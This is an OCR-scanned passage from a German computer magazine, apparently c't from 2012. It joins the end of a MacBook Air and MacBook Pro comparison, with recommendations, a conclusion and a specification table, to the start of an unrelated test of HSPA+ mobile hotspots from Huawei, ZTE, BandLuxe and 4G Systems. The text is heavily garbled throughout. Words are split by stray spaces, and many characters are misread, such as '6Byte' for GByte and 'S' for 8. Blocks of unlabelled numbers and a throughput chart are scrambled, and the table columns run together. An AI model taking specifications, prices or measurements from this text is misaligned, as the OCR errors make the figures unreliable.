und ausgewählt  war. Verwende­
ten wir stattdessen e inen 
sch l i chten Adapter von Asus,  
k lappte es problemlos. Mehr zu 
Steckern, Vorte i len und Beson­
derheiten von USB 3.0 a m  Mac 
erklä rt e in  Artikel auf Mac & i on­
l ine (s iehe c't-Lin k) .  

Wahlh i lfe 

Welches MacBook den persön l i­
chen Ansprüchen und fi nanziel­
len Mög l i chkeiten a m  besten 

. entgegenkommt, muss jeder 
selbst entscheiden - hier nur ei­
nige Empfeh lungen.  Das Retina­
Model l  b ietet von al len am meis­
ten:  Neben dem fantastischen 
Disp lay komb in iert es SSD und  
Quad-Core-CPU i n  e i nem kom­
pakten und  le ichten Gehäuse. 
Bei Laufzeit, Erweiterungs- und  
Repa ratu rfreund l i chkeit hat  es  
a l le rd i ngs  n icht d ie  Nase  vorn, 
außerdem feh len ihm d ie Ether-

Prüfstand I MacBooks 

net-Schn ittste l l e, F i reWire und 
der DVD-Brenner, d ie  man aber 
extern anstöpsel n  kann .  

Das MacBook Pro 1 5" ist güns­
t iger und  von der Rechenleis­
tung ebenbürt ig - a l le in die her­
kömml iche Festplatte bremst 
den Spa ß.  Das Display erwies 
sich als recht gut und reicht von 
der Auflösung, wen n  man n icht 
gerade g rafisch anspruchsvol le 
Aufgaben etwa im  Foto- oder Vi­
deobereich damit bewä lt igen 
möchte. Die vorgesetzte Scheibe 
spiegelt aber deut l ich.  Wer wi l l , 
kann  fü r 1 00 Euro Aufpreis einen 
g leich g roßen B i ldsch i rm mit 36 
Prozent mehr  P ixe ln  ( 1 680 x 
1 050 statt 1 440 x 900) i n  g län­
zender oder  matter Vers ion be­
ste l len .  Letztere Konfigu ration 
ste l l t  mit  einem Preis von 1 980 
Eu ro e ine Alternative zum Reti­
na-MacBook da r, d ie  300 Euro 
b i l l iger  i st und  den doppelten 
Speicherplatz m itbri ngt, aber 
keine SSD und nur den ha lben 
Grafikspeicher. 

Beim MacBook Pro 1 3" reicht 
d ie Rechen leistung aus, die Gra­
fikpower fü r den typischen 
Gamer a l lerd ings  n icht. E in zu­
sätz l icher Schwachpunkt ist die 
geringe Auflösung des Displays, 
das sogar weniger Pixel bietet a ls  
das des MacBook Air 1 1  ". Al le Pro­
Model le eignen sich auch für den 
Desktop-Einsatz: So braucht man 
keinen weiteren Schreibtisch­
Mac, sondern nur einen Monitor 
und e ine USB-Tastatur. Außer­
dem lässt s ich bei a l len der Ar­
beitsspeicher erweitern, eine grö­
ßere Festplatte e inbauen oder 
eine SATA-6G-SSD einsetzen. 

· Das MacBook Air ist mit sei­
nem geringen Gewicht und dem 
k le inen Gehäuse als reines Mo­
b i lgerät konzip iert. Die Displays 
bieten eine hohe Auflösung und 

-2.40 - 15,00 - 154 2787 - 72 
. 15 -35 -2.26 . 9.77 -69 - 163 2344 . 46 . 15 
- 25 -39 -2.59 - 15,27 2440 - 77 . 25 
- 19 - 37 -2.67 - 1 1 .03 -66 254 -2130 . 55 . 18 
- 26 -40 -2.82 - 17,25 - 2261 - 84 • 25 
- 19 - 38 - 2.92 - 1 1 .00 - 1841 . 59 . 1 7 
- 30 -45 -3.40 - 18,99 -52 -2000 - 100 • 28 
-54 -88 -5.09 43,69 -64 267 -2007 - 215 - 59 

- 81 98 6,1 7  44,49 -55 - 1831 287 1 32 
-58 96 5,66 47,56 -55 -1780 -238 - 65 

88 1 05 6,69 46,27 -52 - 1809 295 1 26 
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Prüfstand I MacBooks 

Das MacBook Air 
hat nun auch den 
schmaleren Mag­
Safe-2-Strom­
anschluss und 
USB 3 .0. 

Mon itor-Arbeitsfläche, g rößerer 
Darste l l ung und wesent l ich län­
gerer  Akku laufzeit 

Fazit 

spiegeln wenig .  Beim 1 1  "-Model l  
könnte die Da rste l l ung fü r man­
che aber schon zu k le in sein -
das muss man ausprobieren. Die 
SSD-Kapazität ist bei a l len Stan­
dardkonfigurationen sehr knapp 
bemessen.  Die 64 GByte im 
günstigsten MacBook A i r  s ind 

sehr sch ne l l  gefü l lt und  man 
wi rd s ich mög l icherweise ba ld  
ä rgern,  d ie  1 00 Eu ro mehr  fü r 
das  doppelte Speichervo lumen 
n icht ausgegeben zu haben.  
Legt man noch · ma l  1 00 Eu ro 
d ra uf, erhä lt  man den etwas 
schwereren 1 3-Zö l le r  m it mehr  

Die Renovierung i s t  App le  i n  den 
meisten Punkten ge lungen.  Die 
lvy-Br idge-CPUs  und -Ch ipsätze 
br ingen mehr Le istungszuwachs 
als nach den G igahertz-Zah len  
erwartet, d ie  Lüfter benehmen 
sich etwas zivi l i s ierter. Schön ist 
auch, dass Apple jetzt d u rchgän­
g ig  viel schne l lere SSDs e insetzt. 
Bei den herkömm l ichen Fest­
p latten mag das Beharren auf  
den Kapazitäten und der E insatz 
der fü r heut ige Verhä ltn isse 

recht langsamen H itachi-Model­
le  manchen enttäuschen - hie­
ran trägt wohl aber n icht Apple 
d ie Sch u ld, sondern d ie Überfl u­
tung i n  Tha i l and .  Kriti kpunkte 
b le iben die ger inge Auflösung  
des  Displays be im MacBook Pro 
1 3" und  die sp iegelnden Schei­
ben bei den Pro-Model len .  Aber 
es g i bt ja noch d ie  matten 1 5-
Zoi i -Displays a l s  Option im Apple 
Store. Die Preise stiegen gegen­
über den Vorgängern leider in 
Deutsch land merkl ich, immerhin 
erhält man dafü r  bei e in igen Mo­
de l len auch doppelt so viel Ar­
beitsspeicher. Ues) 

www.d.de/1115088 

MacBooks 
Maclook Air 1 1 "  Maclook Air 1 1 "  Maclook Air 13" Maclook Air 13" Maclook Pro 13" Maclook Pro 13" Maclook Pro 1 5" Maclook Pro 15" 
64 6Byte 128 6Byte 128 6Byte 256 6Byte 2,5 6Hz 2,9 6Hz 2,3 6Hz 2,6 6Hz 

Prozessor Intel Duai-Core i5, 1 .7 Intel Duai-Core i5, 1 .7 Intel Duai-Core i5, 1 ,S Intel Duai-Core i5, 1 ,S I ntel Duai-Core i5, 2,5 Intel Duai-Core i7, 2,9 Intel Quad-Core i7, 2,3 Intel Quad-Core i7, 2,6 
GHz, Turbo Boost 2,6 GHz, Turbo Boost 2,6 GHz, Turbo Boost 2,S GHz, Turbo Boost 2,S GHz, Turbo Boost 3,1 GHz, Turbo Boost 3,6 GHz, Turbo Boost 3,3 GHz, Turbo Boost 3,6 
GHz, 3 MByte L3- GHz, 3 MByte L3- GHz, 3 MByte L3- GHz, 3 MByte L3- GHz, 3 MByte l3- GHz, 4 MByte L3- GHz, 6 MByte l3- GHz, 6 MByte l3-
Cache, lvy Bridge Cache, lvy Bridge Cache, lvy Bridge Cache, lvy Bridge Cache, lvy Bridge Cache, lvy Bridge Cache, lvy Bridge Cache, lvy Bridge 

Arbeitsspeicher 4 GByte DDR3-1 600, 4 GByte DDR3-1600, 4 GByte DDR3-1 600, 4 GByte DDR3-1 600, 4 GByte DDR3-1 600, 2 S GByte DDR3-1 600, 2 4 GByte DDR3-1600, 2 S GByte DDR3-1 600, 2 
verlötet, verlötet, verlötet, verlötet, SO-DIMMs, 2 Slots, SO-DIMMs, 2 Slots, SO-DIMMs, 2 Slots, SO-DIMMs, 2 Slots, 
optional S GByte optional S GByte optional S GByte optional S GByte max. S GByte max. S GByte max. S GByte max. S GByte 

Festplatte Apple SSD TS064E Apple SSD TS12SE Apple SSD TS1 2SE Apple SSD SM256E Apple HDD Toshiba MK7559GSXF, Apple HDD Apple HDD 
(Toshiba), 64 GByte, (Toshiba), 12S GByte, (Toshiba), 1 2S GByte, (Samsung), 256 GByte, HTS547550A9E384 750 GByte, 2,5", SATA, HTS547550A9E384 HTS547575A9B84 
SATA 6G, SATA 6G, SATA 6G, SATA 6G, (Hitachi), 500 GByte, 5400 min-1, (Hitachi), 500 GByte, (Hitachi), 750 GByte, 
lesen: 520 MByte/s, lesen: 516 MByte/s, Lesen: 5 16 MByte/s, lesen: 487 MByte/s, 2,5", SATA, 5400 min-1, Lesen: 1 02,9 MByte/s, 2,5", SATA, 5400 min-1, 2,5", SATA, 5400 min-1, 
Schreiben: Schreiben: Schreiben: Schreiben: Lesen: 75,5 MByte/s, Schreiben: lesen: 7S,2 MByte/s, lesen: S9,5 MByte/s, 
461 MByte/s 468 MByte/s 472 MByte/s 375 MByte/s Schreiben: 1 02,1 MByte/s Schreiben: Schreiben: 

77,9 MByte/s 79,8 MByte/s 90,6 MByte/s 
optisches Laufwerk 8X DVD-Brenner, 8X DVD-Brenner, LG 8X DVD-Brenner, LG SX DVD-Brenner, LG 

Matsushita UJ-8A8 GS3 1 N G53 1 N  GS3 1 N 
Grafik Intel HD Graphics Intel HD Graphics Intel HD Graphics I ntel HD Graphics Intel HD Graphics Intel HD Graphics Nvidia GeForce GT Nvidia GeForce GT 

4000, 384 MByte 4000, 3S4 MByte 4000, 3S4 MByte 4000, 3S4 MByte 4000, 3S4 MByte 4000, 5 1 2 MByte 650M, 5 12 MByte 650M, 1024 MByte 
(shared) (shared) (shared) (shared) (shared) (shared) VRAM sowie Intel HD VRAM sowie Intel HD 

4000, 384 MByte 4000, 5 12 MByte 
(shared) (shared) 

Display 1 1 ,6" TN, lED, 1 1 ,6" TN, lED, 1 3,3" TN, lED, 1 3,3" TN, lED, 13,3" TN, lED, 1 3,3" TN, LED, 1 5,4" TN, lED, 1 5,4" TN, LED, 
spiegelnd, spiegelnd, spiegelnd, spiegelnd, spiegelnd mit Scheibe, spiegelnd mit Scheibe, spiegelnd mit Scheibe, spiegelnd mit Scheibe, 
1 366 x 76S Punkte, 1 366 x 76S Punkte, 1 440 x 900 Punkte, 1440 x 900 Punkte, 1280 x 800 Punkte, 1 280 x 800 Punkte, 1440 x 900 Punkte, 1440 x 900 Punkte, 
1 6:9, max. Hell igkeit 
320 cd/m1, 

1 6:9, max. Hell igkeit 
3 1 7 cd/m1, 

16 : 10, max. Hell igkeit 
322 cd/m1, 

16 : 10, max. Hell igkeit 
294 cd/m1, 

16 : 10, max. Helligkeit 
289 cd!m1, 

16 : 10, max. Hell igkeit 
288 cd/m1, 

16 : 10, max. Hell igkeit 
302 cd/m1, 

16 : 10, max. Hell igkeit 
289 cd/m1, 

Kontrast 923 : 1 , Kontrast 923 : 1 , Kontrast 860:1 ,  Kontrast S60: 1 ,  Kontrast 1 085:1, Kontrast 1 085:1 ,  Kontrast 1 030: 1 , Kontrast 1 030:1, 
Blickwinkel Blickwinkel Blickwinkel Blickwinkel Blickwinkel Blickwinkel Blickwinkel Blickwinkel 
horizonta i 80'/SO' ,  horizonta1 80'/80' , horizonta1 80 '/80' , horizontal SO '/80 · ,  horizontai 80'/SO' ,  horizontal SO '/80 · ,  horizontai SO'/SO ' , horizontal 80'/80 ' , 
vertika l 80'/60' vertikal 80'/60' vertikal 80 '/80' vertikal 80'/80' vertikal 80'/70' vertikal 80'/70 ' vertikal 80'/70' vertikal 80'/70' 

Audio 1 Kombi-Buchse für 1 Kombi-Buchse für 1 Kombi-Buchse für 1 Kombi-Buchse für 1 Kombi-Buchse für 1 Kombi-Buchse für 2 Komtii-Buchsen für 2 Kombi-Buchsen für 
Kopfhörer/analog Kopfhörer/analog Kopfhörer/analog Kopfhörer/analog Kopfhörer/analog Kopfhörer/analog Kopfhörer/digital- Kopfhörer/digital-
ln/digital-optisch Out ln/digital-optisch Out ln/digital-optisch Out ln/digital-optisch Out ln/digital-optisch Out ln/digital-optisch Out optisch Out und analog optisch Out und analog 

ln/digital-optisch ln ln/digital-optisch ln 
sonstige Ausstattung, FaceTime-HD-Kamera, FaceTime-HD-Kamera, FaceTime-HD-Kamera, FaceTime-HD-Kamera, FaceTime-HD-Kamera, FaceTime-HD-Kamera, FaceTime-HD-Kamera, FaceTime-HD-Kamera, 
Anschlüsse und 801 n-WLAN, Blue- 801 n-WlAN, Blue- SD-Cardslot, 801 n- SD-Cardslot, 801 n- SD-Cardslot, Gigabit- SD-Cardslot, Gigabit- SD-Cardslot, Gigabit- SD-Cardslot, Gigabit-
Netzwerk tooth 4.0, Thunder- tooth 4.0, Thunder- WLAN, Bluetooth 4.0, WLAN, Bluetooth 4.0, Ethernet, 802.1 1 n- Ethernet, 802.1 1 n- Ethernet, 802.1 1  n- Ethernet, S02.1 1 n-

bolt, 800, 2 x USB 3.0, bolt, 800, 2 x USB 3.0, Thunderbolt, SOO, Thunderbolt, SOO, WLAN, Bluetooth 4, WLAN, Bluetooth 4, WLAN, Bluetooth 4, WLAN, Bluetooth 4, 
Stereo-lautsprecher, Stereo-Lautsprecher, 2 X USB 3.0, Stereo- 2 x USB 3.0, Stereo- Thunderbolt, FireWire Thunderbolt, FireWire Thunderbolt, FireWire Thunderbolt, FireWire 
Mikrofon, Multitouch- Mikrofon, Multitouch- Lautsprecher, Mikro- Lautsprecher, Mikro- 800, 2 x USB 3.0, 800, 2 X USB 3.0, 800, 2 x USB 3.0, SOO, 2 X USB 3.0, 
Trackpad, beleuchtete T rackpad, beleuchtete fon, Multitouch-Track- fon, Multitouch-Track- Stereo-Lautsprecher, Stereo-Lautsprecher, Stereo-lautsprecher, Stereo-lautsprecher, 
Tastatur, Mac OS X Tastatur, Mac OS X pad, beleuchtete pad, beleuchtete Mikrofon, Multitouch- Mikrofon, Multitouch- Mikrofon, Multitouch- Mikrofon, Multitouch-
1 0.7.4, ilife '1 1 1 0.7.4, ilife ' 1 1 Tastatur, Mac OS X Tastatur, Mac OS X Trackpad, beleuchtete T rackpad, beleuchtete Trackpad, beleuchtete Trackpad, beleuchtete 

1 0.7.4, ilife '1 1 1 0.7.4, ilife '1 1 Tastatur, Mac OS X Tastatur, Mac OS X Tastatur, Mac OS X Tastatur, Mac OS X 
10.7.4, i life '1 1 1 0.7.4, ilife ' 1 1  1 0.7.4, ilife '1 1 1 0.7.4, ilife '1 1 

Gewicht, Maße 1 ,0S kg, 30,0 cm x 1 ,0S kg, 30,0 cm x 1 ,35 kg, 32,5 cm x 1 ,35 kg, 32,5 cm x 2,04 kg, 32,5 cm x 2,04 kg, 32,5 cm x 2,54 kg, 36,4 cm x 2,54 kg, 36,4 cm x 
(B x H x T) 1 9,2 cm x 1 .7 cm 19,2 cm x 1.7 cm 22,7 cm x 1,7 cm 22.7 cm x 1 .7 cm 22.7 cm x 2,4 cm 22,7 cm x 2,4 cm 24,9 cm x 2,4 cm 24,9 cm x 2,4 cm 
Akku (Laufzeit) 35 Wh, Lithium- 35 Wh, Lithium- 50 Wh, Lithium- 50 Wh, Lithium- 63,5 Wh, Lithium- 63,5 Wh, Lithium- 77,5 Wh, Lith ium- 7.7,5 Wh, Lithium-

Polymer fest verbaut 
(leichte Last 1 00 cd/m1 

Polymer fest verbaut 
(leichte last 1 00 cd/m1 

Polymer fest verbaut 
(leichte Last 1 00 cd/m1 

Polymer fest verbaut 
(leichte Last 1 00 cd/m1 

Polymer fest verbaut 
(leichte Last 1 00 cd/m1 

Polymer fest verbaut 
(leichte Last 1 00 cd/m1 

Polymer fest verbaut 
(leichte last 1 00 cd/m1 

Polymer fest verbaut 
(leichte Last 1 00 cd/m1 

7 : 19 h, volle Helligkeit 7:40 h, volle Hell igkeit 1 0:04 h, volle Heilig- 1 0:3S h, volle Heil ig- 9:49 h, volle Hell igkeit 9 : 16 h, volle Hell igkeit 10 : 18 h, volle Heilig- 9:55 h, volle Hell igkeit 
4:56 h) 5:06 h) keit 7 : 19 h) keit 7:09 h) 7:34 h) 6:58 h) keit 7:37 h) 7:26 h) 

Geräusche [Sone] Betrieb <0, 1 , Betrieb <0, 1 , Betrieb <0, 1 , Betrieb <0, 1 ,  Betrieb <0,1 , HD <0, 1 , Betrieb 0 , 1 ,  HD 0, 1 ,  Betrieb <0, 1 , HD <0, 1 , Betrieb <0, 1 , HD <0,1 , 
Volllast CPU 0,9, Volllast CPU 0,5, Volllast CPU 0,6, Volllast CPU 0.7, DVD 0,1 ,  Volllast DVD 0,2, Voll last DVD 0,3, Volllast DVD 0,4, Volllast 
GPU 2,0 GPU 1,8 GPU 2,5 GPU 2,5 CPU <0,1 , GPU 2,2 CPU 1 ,6, GPU 2,5 CPU O,S, GPU 1 ,9 CPU 3,2, GPU 2,4 

Preis 1 050 € 1 1 50 € 1 250 € 1 550 € 1250 € 1 550 € 1 8SO € 2280 € ct 
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T rotz LTE werden UMTS-Mobi l fu n knetze 
eifrig weiterentwickelt und  ausgebaut -

wei l  UMTS mit dem Turboverfah ren HSPA+ 
den Abstand zu LTE verkü rzt und weil L TE a l ­
le in  d ie  Nachfrage nach schnel len Daten­
diensten noch gar n icht decken kann .  i n  d ie­
sem Kielwasser fah ren auch mobi le Hotspots 
mit - Mobi lfu n k-Routerchen von a l lenfa l l s  
Ha ndte l le rg röße, d ie  pe r  WLAN k le ine N ut­
zerg ruppen mit I nternet versorgen.  Vie le 
br ingen auch F i l eserver- Funkt ionen und  
einen S lot fü r microSD-Ka rten m it. 

S ie e ignen sich pr ima als I nternet-Zubr in­
ger im  Zug, Auto oder Camping-P latz, spr in­
gen aber auch i n  d ie Bresche, wen n  der  DSL­
Anschl uss ausgefa l l en  i st. Dem dauerhaften 
DSL-Ersatz stehen aber die zu knapp bemes­
senen Ta rife im  Weg; die meisten Anb ieter 
d rosse ln  die erfreu l i ch  hohe Daten rate nach 
wen igen GByte Ü bertra g u ngsvolumen  auf  
I SDN-N iveau heru nter. Verg le ichstabe l len  
fü r Pre- und  Postpa id-Ta rife i nk l usive der  
maxi ma len Ü bertragu ngsvo l umen und  der  
Drosse lu ngsg renzen l i efert bei sp ie l sweise 
telta rif.de. 

Pr i nzip ie l l  kommen Smartphones mit Te­
ther i ng-Funkt ion fü r d iese lben Anwendun­
gen in F rage; d ie Funktion lässt s ich le icht fü r 
B luetooth, WLAN und USB e inscha lten ( i Pho­
ne: "E instel l u ngen", "Persön l icher Hotspot", 
Android :  "Drahtlosei nste l l ungen", "mobi ler  
Hotspot") .  Smartphones e ignen s ich a ber  
n icht so gut  a l s  Router, wei l  s ie  mehr  Ver­
braucher haben (Telefon-Dienst, stromhung­
r ige D isp lays . . .  ) .  Nur wen ige aktue l le  
Smartphones haben bereits HSPA+ oder  F i le­
server-Funktionen ab Werk an Bord. 

Die aktue l len mobi len Hotspots kan n  man 
grob i n  zwei Gruppen einordnen: Der Groß­
tei l  ist fü r d ie etab l ierte HSPA+-Ausbaustufe 
mit brutto bis zu 2 1 ,6 MBit/s ausgelegt, d ie  
201 1 zunächst im Mobi lfunknetz von Voda­
fone Einzug h ie lt. Langsame Geräte, d ie a lso 
wie der opt isch d u rchaus  h ü bsch geratene 
ZTE MF30 per HSDPA nur  b is  zu 7 ,2 MBit/s 
empfangen, schöpfen die Leistung der mo­
dernen Zel len schon bei m itte lp rächt iger 
Funkanb indung n icht aus  und  kommen 
daher  n icht  i n  F rage. 

E inen ersten Vertreter der HSPA+-Katego­
rie haben wir mit dem Bandrich Band Luxe 
PR39 bereits getestet [ 1 ] .  Zu d iesem gese l len 
s ich der H uawei E586Bs-2 und' E586Es ,  der  
XSBoxGoP ius  von 4G Systems und der MF62 
von ZTE. 

Die zweite Gruppe b i ldet h ierzu lande d ie 
Speerspitze der HSPA+-Entwickl u ng, s ie er­
reicht bis zu 42,4 MBit/s (L TE-Funker  l iefern 
bis zu 50 MBit/s). Zur  d ieser zweiten Gruppe 
gehören der H uawei E587u-2 und der ZTE 
MF80. S ie spie len i h re Geschwind igkeitsvor­
tei le  zurzeit nu r  im Netz der Telekom aus, d ie  
d ie Mehrzah l  i h rer U MTS-Mobi lfunkze l len in­
zwischen mit der auch DC-HSPA+ genannten 
Techn ik  aufgerüstet hat. DC steht fü r Double 
Carrier, nutzt a l so zur  Übertragung zum Tei l ­
nehmer zwei an  statt nu r  e inen 5 MHz breiten 
Träger. 

Manche der Testkandidaten s ind bei Netz­
betreibern u nter anderen Namen erhält l ich.  
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Beispielsweise g ibt es den E586Es bei Voda­
fone u nter der Bezeichnung  R205 und den 
ZTE M F62 bei T-Mobi le  Austr ia a l s  "Web 
Box 4G". Die Mobi lfun kherste l ler  haben zwar 
noch weitere HSPA+-Vertreter im Programm, 
aber d ie s ind derzeit i n  Deutsch land n icht am 
Markt. 

Her und h in  . . .  

l n  Senderichtung l iefert d ie  HSPA+-Techn ik  
wegen der  knappen Ressou rcen der Mobi l ­
fu nkgeräte noch deut l ich ger ingere Daten­
raten .  Laut Spezifi kation könnte die aktuel le 
Gerätegeneration immerhin schon b is  zu 
1 1 ,5 MBit/s senden. Gegenwärt ig bauen die 
Herste l le r  a ber  nur Ch ipsätze ein, die 
5,76 MBit/s erreichen, a lso n icht mehr als d ie 
Vorgängergeneration. Maximale Daten raten, 
WLAN-Sicherheit, Ausstattu ngs- und Bed ie­
n u ngsmerkma le  und  anderes mehr, das  
I h nen be i  der Auswah l  h i lft, finden Sie i n  der 
Tabel le  ab  Seite 98. 

Etl iche weitere HSPA+-Verfah ren sind zwar 
spezifiziert [2, 3], aber längst n icht a l le  werden 
in al len Netzen implementiert. Das g i l t  bei der 
Telekom derzeit fü r d ie Ausbaustufen mit 
28 MBit/s und 35,28 MBit/s. Beide setzen in 
der Basisstation d ie Mehrantennentechn ik  
MIMO voraus (Mult ip le I nput, M u lt ip le Out­
put), m ittel s  der sich mehrere räum l ich ge­
trennte Datenströme zum Tei l nehmer senden 
lassen. Die Bestückung der Basisstationen mit 
M IMO-Antennen ist aber aufwendig,  sodass 
man zumindest vorläufig auf einfachere Ver­
fah ren setzt. H i ngegen l iefert moderne Sys­
temtechn ik  d ie 42,4 MBit/s "e infach" mitte ls  
e iner höherwertigen Modu lation und du rch 
Zusammenscha lten zwei er Träger. 

Die Testka nd idaten s ind n icht a uf Netze 
bestimmter Betre iber e ingeschrä n kt (ke in  
S IM-Lock), äußer l ich verändert oder  auf pro­
prietä re D ienste zugeschn itten (ke in  Bran­
d ing) .  Man kan n  s ie über den Fach- und On­
l i ne-Hande l  beziehen,  i n  der  Regel nur mit 
eng l ischen Kurza n le itungen.  Der Händ ler  
wlan-unterwegs.de legt  e igene deutschspra­
ch ige Vers ionen bei . Neuerd ings  bietet er zu 
manchen Geräten auch E rsatzakkus m it 
deut l ich erhöhter Kapazität m it passendem, 
stärker gewölbtem Gehäusedeckel aus  eige­
ner Fert igung.  

Wie a l l e  aktue l len Mobi lfu n kgeräte kom­
men d ie Kandidaten u mso näher an  den ma­
ximal mögl ichen Du rchsatz heran, je besser 
die Empfangsbed ingungen s ind .  Den Durch­
satz d rücken Funkstörungen, d ie Entfernung 
zur  Basisstat ion ocfer a uch weitere Tei l neh-
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mer in einer Zel le, d ie  entweder telefonieren 
oder ebenfa l l s  su rfen .  Bei stationärer N ut­
zung mit schlechtem Empfang kann eine ex­
terne Antenne helfen.  N icht a l le  Tei l nehmer 
s ind aber mit Ansch lüssen für externe Anten­
nen ausgestattet (siehe Tabel le). 

D ie u nten auf der  Seite angegebenen 
Du rchsatzraten s ind i n  einer ü berd u rch­
schn itt l ich guten Empfangs lage bei nur we­
n igen weiteren Tei l nehmern erm itte lt wor­
den (mindestens -60 dBm, meist deut l ich 
besser). Die Empfangsqua l ität war du rchge­
hend fü r DC-HSPA+-Verb indu ngen gut ge­
nug .  Die haben natü r l ich nu r  zwei Kand ida­
ten a ufgebaut, d ie  übr igen waren e inen 
Gang langsamer. 

Akkuknauserer 

Typisch fü r d iese Geräteklasse sind d ie  inte­
g rierten Antennen und d ie  gerade ma l  fin­
gernage lgroßen Disp lays, d ie  n u r  die a l ler­
wicht igsten Status i nformat ionen fü r ku rze 
Zeit e in b lenden - um Strom zu sparen. Um 
es wieder zu aktivieren, genügt be i  a l len Ge­
räten e i n  ku rzer Druck auf d ie  E inscha lt­
Taste. 

Ebenfa l l s  aus  Stromspargründen versor­
gen d ie  Router n u r  wen ige WLAN-Tei l neh­
mer (s iehe Tabel le) .  Im  XSBoxGoPius  und im 
Band Luxe PR39 stecken nur WLAN-Modu le 
gemäß der I EEE-Norm 802 . 1 1 g; s ie l i efern 
also brutto nicht mehr als 54 MBit/s. Das ist 
fü r d ie imp lementierte HSPA+-Stufe immer 
noch schne l l  genug. Die ü bri9en Kandidaten 
s ind mit modernen 802. 1 1 n-Bausteinen be­
stückt, die aus Stromspargründen nu r  Brut­
toraten bis zu 72 MBit/s erre ichen.  Damit 
s ind sie bei WLAN-zu-WLAN-Übertragungen 
immerh in e in wen ig schnel ler a l s  802 . 1 1 g.  

E in ige Router enthalten Mobi l-Versionen 
i h re r  Webi nterfaces.  So ka n n  man per 
Smartphone die wicht igsten Optionen 
leicht abfragen und e instel len.  A l le  Kand ida­
ten s i nd  mit wechse lba rem Akku und mi­
croSD-S iots ausgestattet. Keiner  der Herste l­
ler hat seinem M i n i-Router das  moderne 
1 Pv6 spend iert. Jedoch stecken mit 1 Pv6 
auch  d ie  Netzbetre iber  noch in der  P la­
nungsphase, sodass das noch kein  kaufent­
scheidendes Kriteri u m  i st. 

Wie üb l ich, haben d ie Mobi lfunkmodems 
den Empfangspegel von UMTS- und GSM­
Zel len zugleich im Auge und wechseln auto­
matisch zum gerade besser empfangbaren 
Netz. Dabei scha lten s ie ab Werk nach Gut­
dünken und Netzmög l ichkeiten auf die lang­
sameren Techn iken EDGE und GPRS zurück. 

U Ioad MitteiWeit/Maximum 
BandRich Bandluxe PR39 - 40�0/4�2f3 ===;;&..�;=....., ===-,. ������.::.::::=::::!...'::.t=....:::.:::.::.. l 
Huawei E586Bs-2 - 415/437 
Huawei E586Es - 415/429 
Huawei E587u-2 - 430/437 
XSBoxGoPius - 422/447 
ZTE MF62 - 452/463 
ZTE MF80 - 424/434 

... !1!11-11:1 1000/ 1 100 
---ll 1000/1 1 00 
------==== 1800/2700 :===�

1
1 200/1400 

1 000/1 1 00 
-------1:=:::1 2400/2800 
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USB-Sauger 

Mobi lfunkrauter können prinzipiel l  auch über 
e inen USB-Port daran angekoppelte Laptops 
mit I nternet versorgen; im Gegenzug bekom­
men sie vom Laptop Strom via USB.  Dafü r 
ha lten a l le bis auf den XSBoxGoPius Mac- und 
Windows-Treiber für Ethernet v ia  USB auf se­
pa ratem, automatisch e ingebundenem 
Flash-Speicher vor. Im  Test l ießen sie s ich so 
an Mac OS X 1 0.7.x und Windows 7 betreiben. 

Über die E in richtu ngsass istenten lassen 
s ich d ie wichtigsten E instel l u ngen fl i n k  zu­
sammenkl icken :  Das s ind der  APN (der Zu­
gangspu nkt zu e inem Netz), der Name des 
WLANs (SSID) und das  Passwort zur  Ver­
sch lüssel ung .  A l le  Kand idaten ste l len den 
richtigen APN auf Wunsch anhand der S IM­
Kartenkennung des Setreibers a utomatisch 
ein. Der APN läs.st s ich bei al len aber auch per 
Hand ei ntragen.  Das i st bei Prepaid-Ta rifen 
wichtig, weil d iese Angebote mit e igenen 
APNs kom bin iert s ind .  E in ige Geräte s ind 
WLAN-seitig mitsamt SS ID und Passwort be­
reits i nd ividue l l  ab Werk vorkonfiguriert; d ie  
Daten s ind innen im  Gerät aufgeklebt. Damit 
ist die Grundein richtung bereits erledigt. 

Zusätzl ich lässt sich aber noch die Gewich­
tung für langsame GSM oder schnel lere UMTS­
Verbindungen ändern. Das kann  in ungünsti­
gen Empfangslagen praktisch sein .  Über die 
Web-Interfaces der Geräte wird auch der F i le­
service für die optionale microSD-Card einge-

Der Huawei E586Bs-2 erreicht dank seiner 
Stromsparmechanismen trotz mittelpräch­
tiger Akku-Kapazität gute Laufzeiten. 

96 

Einer der ersten HSPA+-Mobi lhotspots 
am Markt: BandLuxe PR39 

schaltet. Das klappte im Test mit 
dem Huawei E586Bs-2 und dem 

E586Es jedoch n icht. 

Bandluxe PR39 

Der Ba ndrich BandLuxe PR39 er­
schien bereits vor über e inem Jahr  

a l s  e iner  der  ersten HSPA+-Mobi l ­
hotspots a m  Markt. Se ither  ist er  u nverän­
dert; er steckt i n  e iner handtel lergroßen, un­
aufdr ing l ich eleganten Schachtel, hat e in  LC­
Display, e inen Anschluss fü r e ine externe An­
tenne  und  i nnen,  u nterm Akku e inen 
Steckplatz fü r microSD-Kä rtchen.  So eig net 
sich der S lot natür l ich nicht fü r den Hotp lug­
Betrieb, denn u m  e in Kä rtchen einzustecken, 
muss man den Akku entfernen und scha ltet 
dadurch den Router aus .  Bei anderen Kandi­
daten ist der WPA-Key i nnen im  Gehäusede­
ckel a ufgedruckt, beim BandLuxe muss man 
e in  sepa rates Dokument suchen.  

Dre F i rmware ist u nverständ l icherweise 
u nverändert, sodass auch die e igent l ich 
le icht auszumerzenden Konzeptschwächen 
gebl ieben s ind. So merkt s ich das Gerät die 
PIN n icht, d ie  E ingabe i st nach jedem Neu­
sta rt erforder l ich .  Wi l l  man anderen WLAN­
Tei lnehmern den Zugriff auf d ie  Speicherkar­
te gewäh ren, muss  man i h nen das  Adm i n­
Passwort verraten .  

U S B  u n d  WLAN s i nd  versch iedenen 
Subnetzen zugeord n et ( 1 92 . 1 68.2 1 . 1  und 
1 92 . 1 68.1 00.1 ); man kann  n icht be ide auf das  
g le iche Subnetz e inste l len .  I m merh in  routet 
das Gerät ab Werk zwischen beiden, sodass 
ein per USB a ngeschlossener Cl ient auf d ie  
WLAN-Stationen zugreifen kann  und  umge­
keh rt. Das w i rd fre i l i c h  erschwert, we i l  
Broadcasts wie Netßios und  Mu lt icasts wie 
Bonjour  n icht zwischen Subnetzen ü bermit­
telt werden .  

Schnell und nur wenig größer a ls  eine 
Streichholzschachtel ist der E586Es von 
Huawei. 

Die Web-Anzeige stimmt n icht immer mit 
der Statusanzeige im Disp lay ü bere in .  I m  
Test kam e s  vor, dass WLAN a u s  wa r, obwohl  
das  Web-I nterface anzeigte, dass es e i nge­
scha ltet war. 

Ein Versuch der OpenWRT-Entwickler, das 
freie Router-Betriebssystem darauf anzupas­
sen, ver l ief bisher erfolg los. Schade, denn die 
Hardware hat sehr g ute Ansätze - mit etwas 
